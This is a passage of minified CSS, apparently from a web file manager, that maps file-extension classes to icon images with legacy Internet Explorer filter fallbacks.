\9;filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/cs.png?ver=3.30',sizingMethod='scale');-ms-filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/cs.png?ver=3.30',sizingMethod='scale');}.x-java,.x-jsp{background-image:url("../../../images/file_icon/icon_file/java.png");background-image:none \9;filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/java.png?ver=3.30',sizingMethod='scale');-ms-filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/java.png?ver=3.30',sizingMethod='scale');}.x-mm,.x-cc,.x-cxx,.x-cpp,.x-c,.x-m{background-image:url("../../../images/file_icon/icon_file/cpp.png");background-image:none \9;filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/cpp.png?ver=3.30',sizingMethod='scale');-ms-filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/cpp.png?ver=3.30',sizingMethod='scale');}.x-h,.x-hpp,.x-hh,.x-pch{background-image:url("../../../images/file_icon/icon_file/h.png");background-image:none \9;filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/h.png?ver=3.30',sizingMethod='scale');-ms-filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/h.png?ver=3.30',sizingMethod='scale');}.x-png,.x-jpg,.x-jpeg,.x-bmp,.x-gif,.x-picture,.x-ico,.x-svg,.x-cur,.x-webp,.x-tif,.x-tiff{background-image:url("../../../images/file_icon/icon_file/jpg.png");background-image:none \9;filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/jpg.png?ver=3.30',sizingMethod='scale');-ms-filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/jpg.png?ver=3.30',sizingMethod='scale');}.x-make,.x-Makefile,.x-makefile,.x-GNUmakefile,.x-OCamlMakefile,.x-makemakefile{background-image:url("../../../images/file_icon/icon_file/makefile.png");background-image:none \9;filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/makefile.png?ver=3.30',sizingMethod='scale');-ms-filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/makefile.png?ver=3.30',sizingMethod='scale');}.x-iso,.x-vcd{background-image:url("../../../images/file_icon/icon_file/iso.png");background-image:none \9;filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/iso.png?ver=3.30',sizingMethod='scale');-ms-filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/iso.png?ver=3.30',sizingMethod='scale');}.x-pkg,.x-package,.x-framework{background-image:url("../../../images/file_icon/icon_file/pkg.png");background-image:none \9;filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/pkg.png?ver=3.30',sizingMethod='scale');-ms-filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/pkg.png?ver=3.30',sizingMethod='scale');}.x-zip,.x-apk,.x-tar,.x-gzip,.x-jar,.x-cxr,.x-tar,.x-gz,.x-cab,.x-tbz,.x-tbz2,.x-bz2{background-image:url("../../../images/file_icon/icon_file/zip.png");background-image:none \9;filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/zip.png?ver=3.30',sizingMethod='scale');-ms-filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/zip.png?ver=3.30',sizingMethod='scale');}.x-exe,.x-bin,.x-class,.x-a,.x-so{background-image:url("../../../images/file_icon/icon_file/exe.png");background-image:none \9;filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/exe.png?ver=3.30',sizingMethod='scale');-ms-filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/exe.png?ver=3.30',sizingMethod='scale');}.x-ttf,.x-otf,.x-eot,.x-woff,.x-tiff,.x-ttc{background-image:url("../../../images/file_icon/icon_file/font.png");background-image:none \9;filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/font.png?ver=3.30',sizingMethod='scale');-ms-filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/font.png?ver=3.30',sizingMethod='scale');}.x-bat,.x-cmd,.x-sh,.x-bash,.x-bashrc{background-image:url("../../../images/file_icon/icon_file/cmd.png");background-image:none \9;filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/cmd.png?ver=3.30',sizingMethod='scale');-ms-filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/cmd.png?ver=3.30',sizingMethod='scale');}.x-ini,.x-inf,.x-conf,.x-meta,.x-gitignore,.x-plist,.x-htaccess,.x-localized,.x-xcscheme,.x-storyboard,.x-xib,.x-strings,.x-pbxproj{background-image:url("../../../images/file_icon/icon_file/ini.png");background-image:none \9;filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/ini.png?ver=3.30',sizingMethod='scale');-ms-filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/ini.png?ver=3.30',sizingMethod='scale');}.x-md,.x-markdown{background-image:url("../../../images/file_icon/icon_file/md.png");background-image:none \9;filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/md.png?ver=3.30',sizingMethod='scale');-ms-filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/md.png?ver=3.30',sizingMethod='scale');}.x-file{background-image:url("../../../images/file_icon/icon_file/file.png");background-image:none \9;filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/file.png?ver=3.30',sizingMethod='scale');-ms-filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/file.png?ver=3.30',sizingMethod='scale');}.x-accdb{background-image:url("../../../images/file_icon/icon_file/accdb.png");background-image:none \9;filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/accdb.png?ver=3.30',sizingMethod='scale');-ms-filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/accdb.png?ver=3.30',sizingMethod='scale');}.x-ai{background-image:url("../../../images/file_icon/icon_file/ai.png");background-image:none \9;filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/ai.png?ver=3.30',sizingMethod='scale');-ms-filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/ai.png?ver=3.30',sizingMethod='scale');}.x-air{background-image:url("../../../images/file_icon/icon_file/air.png");background-image:none \9;filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/air.png?ver=3.30',sizingMethod='scale');-ms-filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/air.png?ver=3.30',sizingMethod='scale');}.x-arj{background-image:url("../../../images/file_icon/icon_file/arj.png");background-image:none \9;filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/arj.png?ver=3.30',sizingMethod='scale');-ms-filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/arj.png?ver=3.30',sizingMethod='scale');}.x-apk{background-image:url("../../../images/file_icon/icon_file/apk.png");background-image:none \9;filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/apk.png?ver=3.30',sizingMethod='scale');-ms-filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/apk.png?ver=3.30',sizingMethod='scale');}.x-as{background-image:url("../../../images/file_icon/icon_file/as.png");background-image:none \9;filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/as.png?ver=3.30',sizingMethod='scale');-ms-filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/as.png?ver=3.30',sizingMethod='scale');}.x-ascx{background-image:url("../../../images/file_icon/icon_file/ascx.png");background-image:none \9;filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/ascx.png?ver=3.30',sizingMethod='scale');-ms-filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/ascx.png?ver=3.30',sizingMethod='scale');}.x-ashx{background-image:url("../../../images/file_icon/icon_file/ashx.png");background-image:none \9;filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/ashx.png?ver=3.30',sizingMethod='scale');-ms-filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/ashx.png?ver=3.30',sizingMethod='scale');}.x-asmx{background-image:url("../../../images/file_icon/icon_file/asmx.png");background-image:none \9;filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/asmx.png?ver=3.30',sizingMethod='scale');-ms-filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/asmx.png?ver=3.30',sizingMethod='scale');}.x-aspx{background-image:url("../../../images/file_icon/icon_file/aspx.png");background-image:none \9;filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/aspx.png?ver=3.30',sizingMethod='scale');-ms-filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/aspx.png?ver=3.30',sizingMethod='scale');}.x-bz2{background-image:url("../../../images/file_icon/icon_file/bz2.png");background-image:none \9;filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/bz2.png?ver=3.30',sizingMethod='scale');-ms-filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/bz2.png?ver=3.30',sizingMethod='scale');}.x-cdr{background-image:url("../../../images/file_icon/icon_file/cdr.png");background-image:none \9;filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/cdr.png?ver=3.30',sizingMethod='scale');-ms-filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/cdr.png?ver=3.30',sizingMethod='scale');}.x-cer{background-image:url("../../../images/file_icon/icon_file/cer.png");background-image:none \9;filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/cer.png?ver=3.30',sizingMethod='scale');-ms-filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/cer.png?ver=3.30',sizingMethod='scale');}.x-chm{background-image:url("../../../images/file_icon/icon_file/chm.png");background-image:none \9;filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/chm.png?ver=3.30',sizingMethod='scale');-ms-filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/chm.png?ver=3.30',sizingMethod='scale');}.x-cmd{background-image:url("../../../images/file_icon/icon_file/cmd.png");background-image:none \9;filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/cmd.png?ver=3.30',sizingMethod='scale');-ms-filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/cmd.png?ver=3.30',sizingMethod='scale');}.x-c{background-image:url("../../../images/file_icon/icon_file/c.png");background-image:none \9;filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/c.png?ver=3.30',sizingMethod='scale');-ms-filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/c.png?ver=3.30',sizingMethod='scale');}.x-cpp{background-image:url("../../../images/file_icon/icon_file/cpp.png");background-image:none \9;filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/cpp.png?ver=3.30',sizingMethod='scale');-ms-filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/cpp.png?ver=3.30',sizingMethod='scale');}.x-cs{background-image:url("../../../images/file_icon/icon_file/cs.png");background-image:none \9;filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/cs.png?ver=3.30',sizingMethod='scale');-ms-filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/cs.png?ver=3.30',sizingMethod='scale');}.x-cshtml{background-image:url("../../../images/file_icon/icon_file/cshtml.png");background-image:none \9;filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/cshtml.png?ver=3.30',sizingMethod='scale');-ms-filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/cshtml.png?ver=3.30',sizingMethod='scale');}.x-csproj{background-image:url("../../../images/file_icon/icon_file/csproj.png");background-image:none \9;filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/csproj.png?ver=3.30',sizingMethod='scale');-ms-filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/csproj.png?ver=3.30',sizingMethod='scale');}.x-css{background-image:url("../../../images/file_icon/icon_file/css.png");background-image:none \9;filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/css.png?ver=3.30',sizingMethod='scale');-ms-filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/css.png?ver=3.30',sizingMethod='scale');}.x-csv{background-image:url("../../../images/file_icon/icon_file/csv.png");background-image:none \9;filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/csv.png?ver=3.30',sizingMethod='scale');-ms-filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/csv.png?ver=3.30',sizingMethod='scale');}.x-dll{background-image:url("../../../images/file_icon/icon_file/dll.png");background-image:none \9;filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/dll.png?ver=3.30',sizingMethod='scale');-ms-filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/dll.png?ver=3.30',sizingMethod='scale');}.x-dmg,.x-img{background-image:url("../../../images/file_icon/icon_file/dmg.png");background-image:none \9;filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/dmg.png?ver=3.30',sizingMethod='scale');-ms-filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/dmg.png?ver=3.30',sizingMethod='scale');}.x-doc{background-image:url("../../../images/file_icon/icon_file/doc.png");background-image:none \9;filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/doc.png?ver=3.30',sizingMethod='scale');-ms-filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/doc.png?ver=3.30',sizingMethod='scale');}.x-docm{background-image:url("../../../images/file_icon/icon_file/docm.png");background-image:none \9;filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/docm.png?ver=3.30',sizingMethod='scale');-ms-filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/docm.png?ver=3.30',sizingMethod='scale');}.x-docx{background-image:url("../../../images/file_icon/icon_file/docx.png");background-image:none \9;filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/docx.png?ver=3.30',sizingMethod='scale');-ms-filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/docx.png?ver=3.30',sizingMethod='scale');}.x-dot{background-image:url("../../../images/file_icon/icon_file/dot.png");background-image:none \9;filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/dot.png?ver=3.30',sizingMethod='scale');-ms-filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/dot.png?ver=3.30',sizingMethod='scale');}.x-dotm{background-image:url("../../../images/file_icon/icon_file/dotm.png");background-image:none \9;filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/dotm.png?ver=3.30',sizingMethod='scale');-ms-filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/dotm.png?ver=3.30',sizingMethod='scale');}.x-dotx{background-image:url("../../../images/file_icon/icon_file/dotx.png");background-image:none \9;filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/dotx.png?ver=3.30',sizingMethod='scale');-ms-filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/dotx.png?ver=3.30',sizingMethod='scale');}.x-dtd{background-image:url("../../../images/file_icon/icon_file/dtd.png");background-image:none \9;filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/dtd.png?ver=3.30',sizingMethod='scale');-ms-filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/dtd.png?ver=3.30',sizingMethod='scale');}.x-dwg{background-image:url("../../../images/file_icon/icon_file/dwg.png");background-image:none \9;filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/dwg.png?ver=3.30',sizingMethod='scale');-ms-filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/dwg.png?ver=3.30',sizingMethod='scale');}.x-dxf{background-image:url("../../../images/file_icon/icon_file/dxf.png");background-image:none \9;filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/dxf.png?ver=3.30',sizingMethod='scale');-ms-filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/dxf.png?ver=3.30',sizingMethod='scale');}.x-eps{background-image:url("../../../images/file_icon/icon_file/eps.png");background-image:none \9;filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/eps.png?ver=3.30',sizingMethod='scale');-ms-filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/eps.png?ver=3.30',sizingMethod='scale');}.x-epub{background-image:url("../../../images/file_icon/icon_file/epub.png");background-image:none \9;filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/epub.png?ver=3.30',sizingMethod='scale');-ms-filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/epub.png?ver=3.30',sizingMethod='scale');}.x-exe{background-image:url("../../../images/file_icon/icon_file/exe.png");background-image:none \9;filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/exe.png?ver=3.30',sizingMethod='scale');-ms-filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/exe.png?ver=3.30',sizingMethod='scale');}.x-f{background-image:url("../../../images/file_icon/icon_file/f.png");background-image:none \9;filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/f.png?ver=3.30',sizingMethod='scale');-ms-filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/f.png?ver=3.30',sizingMethod='scale');}.x-file{background-image:url("../../../images/file_icon/icon_file/file.png");background-image:none \9;filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/file.png?ver=3.30',sizingMethod='scale');-ms-filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/file.png?ver=3.30',sizingMethod='scale');}.x-fla{background-image:url("../../../images/file_icon/icon_file/fla.png");background-image:none \9;filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/fla.png?ver=3.30',sizingMethod='scale');-ms-filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/fla.png?ver=3.30',sizingMethod='scale');}.x-font{background-image:url("../../../images/file_icon/icon_file/font.png");background-image:none \9;filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/font.png?ver=3.30',sizingMethod='scale');-ms-filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/font.png?ver=3.30',sizingMethod='scale');}.x-gif{background-image:url("../../../images/file_icon/icon_file/gif.png");background-image:none \9;filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/gif.png?ver=3.30',sizingMethod='scale');-ms-filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/gif.png?ver=3.30',sizingMethod='scale');}.x-gz{background-image:url("../../../images/file_icon/icon_file/gz.png");background-image:none \9;filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/gz.png?ver=3.30',sizingMethod='scale');-ms-filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/gz.png?ver=3.30',sizingMethod='scale');}.x-h{background-image:url("../../../images/file_icon/icon_file/h.png");background-image:none \9;filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/h.png?ver=3.30',sizingMethod='scale');-ms-filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/h.png?ver=3.30',sizingMethod='scale');}.x-hlp{background-image:url("../../../images/file_icon/icon_file/hlp.png");background-image:none \9;filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/hlp.png?ver=3.30',sizingMethod='scale');-ms-filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/hlp.png?ver=3.30',sizingMethod='scale');}.x-html{background-image:url("../../../images/file_icon/icon_file/html.png");background-image:none \9;filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/html.png?ver=3.30',sizingMethod='scale');-ms-filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/html.png?ver=3.30',sizingMethod='scale');}.x-indd{background-image:url("../../../images/file_icon/icon_file/indd.png");background-image:none \9;filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/indd.png?ver=3.30',sizingMethod='scale');-ms-filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/indd.png?ver=3.30',sizingMethod='scale');}.x-ini{background-image:url("../../../images/file_icon/icon_file/ini.png");background-image:none \9;filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/ini.png?ver=3.30',sizingMethod='scale');-ms-filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/ini.png?ver=3.30',sizingMethod='scale');}.x-ipa{background-image:url("../../../images/file_icon/icon_file/ipa.png");background-image:none \9;filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/ipa.png?ver=3.30',sizingMethod='scale');-ms-filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/ipa.png?ver=3.30',sizingMethod='scale');}.x-jar{background-image:url("../../../images/file_icon/icon_file/jar.png");background-image:none \9;filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/jar.png?ver=3.30',sizingMethod='scale');-ms-filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/jar.png?ver=3.30',sizingMethod='scale');}.x-java{background-image:url("../../../images/file_icon/icon_file/java.png");background-image:none \9;filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/java.png?ver=3.30',sizingMethod='scale');-ms-filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/java.png?ver=3.30',sizingMethod='scale');}.x-jpg{background-image:url("../../../images/file_icon/icon_file/jpg.png");background-image:none \9;filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/jpg.png?ver=3.30',sizingMethod='scale');-ms-filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/jpg.png?ver=3.30',sizingMethod='scale');}.x-js{background-image:url("../../../images/file_icon/icon_file/js.png");background-image:none \9;filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/js.png?ver=3.30',sizingMethod='scale');-ms-filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/js.png?ver=3.30',sizingMethod='scale');}.x-json{background-image:url("../../../images/file_icon/icon_file/json.png");background-image:none \9;filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/json.png?ver=3.30',sizingMethod='scale');-ms-filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/json.png?ver=3.30',sizingMethod='scale');}.x-key{background-image:url("../../../images/file_icon/icon_file/key.png");background-image:none \9;filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/key.png?ver=3.30',sizingMethod='scale');-ms-filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/key.png?ver=3.30',sizingMethod='scale');}.x-ldf{background-image:url("../../../images/file_icon/icon_file/ldf.png");background-image:none \9;filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/ldf.png?ver=3.30',sizingMethod='scale');-ms-filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/ldf.png?ver=3.30',sizingMethod='scale');}.x-lnk{background-image:url("../../../images/file_icon/icon_file/lnk.png");background-image:none \9;filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/lnk.png?ver=3.30',sizingMethod='scale');-ms-filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/lnk.png?ver=3.30',sizingMethod='scale');}.x-makefile{background-image:url("../../../images/file_icon/icon_file/makefile.png");background-image:none \9;filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/makefile.png?ver=3.30',sizingMethod='scale');-ms-filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/makefile.png?ver=3.30',sizingMethod='scale');}.x-mdb{background-image:url("../../../images/file_icon/icon_file/mdb.png");background-image:none \9;filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/mdb.png?ver=3.30',sizingMethod='scale');-ms-filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/mdb.png?ver=3.30',sizingMethod='scale');}.x-mdf{background-image:url("../../../images/file_icon/icon_file/mdf.png");background-image:none \9;filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/mdf.png?ver=3.30',sizingMethod='scale');-ms-filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/mdf.png?ver=3.30',sizingMethod='scale');}.x-mht{background-image:url("../../../images/file_icon/icon_file/mht.png");background-image:none \9;filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/mht.png?ver=3.30',sizingMethod='scale');-ms-filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/mht.png?ver=3.30',sizingMethod='scale');}.x-midi{background-image:url("../../../images/file_icon/icon_file/midi.png");background-image:none \9;filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/midi.png?ver=3.30',sizingMethod='scale');-ms-filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/midi.png?ver=3.30',sizingMethod='scale');}.x-mpp{background-image:url("../../../images/file_icon/icon_file/mpp.png");background-image:none \9;filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/mpp.png?ver=3.30',sizingMethod='scale');-ms-filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/mpp.png?ver=3.30',sizingMethod='scale');}.x-mpt{background-image:url("../../../images/file_icon/icon_file/mpt.png");background-image:none \9;filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/mpt.png?ver=3.30',sizingMethod='scale');-ms-filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/mpt.png?ver=3.30',sizingMethod='scale');}.x-msg{background-image:url("../../../images/file_icon/icon_file/msg.png");background-image:none \9;filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/msg.png?ver=3.30',sizingMethod='scale');-ms-filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/msg.png?ver=3.30',sizingMethod='scale');}.x-msi{background-image:url("../../../images/file_icon/icon_file/msi.png");background-image:none \9;filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/msi.png?ver=3.30',sizingMethod='scale');-ms-filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/msi.png?ver=3.30',sizingMethod='scale');}.x-numbers{background-image:url("../../../images/file_icon/icon_file/numbers.png");background-image:none 